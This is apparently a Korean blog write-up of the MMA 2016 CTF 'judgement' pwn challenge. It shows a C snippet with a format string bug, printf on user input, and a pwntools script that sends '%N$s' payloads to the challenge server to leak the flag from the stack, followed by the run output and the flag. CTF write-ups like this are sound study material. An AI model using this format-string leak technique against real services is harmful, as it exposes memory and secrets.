judgement
이번 문제는 입력을 받고 그 값이 플레그하고 같은지 검사를 해 주는 프로그램이다.
분석해 보면 다음 부분에서 FSB 버그가 존재한다.
1 2 3 4 5 6 7 | printf("Flag judgment system\nInput flag >> "); if ( getnline(&format, 64) ) { printf(&format); // vulnerable! if ( !strcmp(&format, flag) ) ... } | cs |
getline() 함수로 입력을 받는데, 내부에 Isprint 함수를 사용해 읽을 수 없는 아스키 코드는 입력이 불가능 하다. (딱히 문젠 안된다!)
풀이는 %1s %2s ... %10s ... 이런식으로 계속 보내서 스택을 leak 해서 스택 어딘가 저장되어있는 flag 를 출력해 주면 된다!
아래는 공격 코드 // 한 20번 쯤 돌아가니 flag 가 나온다.
1 2 3 4 5 6 7 8 9 | from pwn import * for i in range(100): #s = process('./judgement') s = remote('pwn1.chal.ctf.westerns.tokyo', 31729) s.sendline("%{}$s".format(str(i))) flag = s.recv(1024) if 'TWCTF' in flag: print flag | cs |
1 2 3 4 5 6 7 | zero@ubuntu:~/Desktop$ python judge.py [+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 31729: Done ... [+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 31729: Done Flag judgment system Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0} Wrong flag... | cs |
Flag : TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
'CTFs > MMA 2016' 카테고리의 다른 글
[MMA 2016] crypto : Super Express (0) | 2016.09.05 |
---|---|
[MMA 2016] forensic : Rescue Data 1 : deadnas (2) | 2016.09.05 |
[MMA 2016] misc : ninth (0) | 2016.09.05 |
[MMA 2016] crypto : Twin Primes (0) | 2016.09.05 |
[MMA 2016] misc : glance (0) | 2016.09.05 |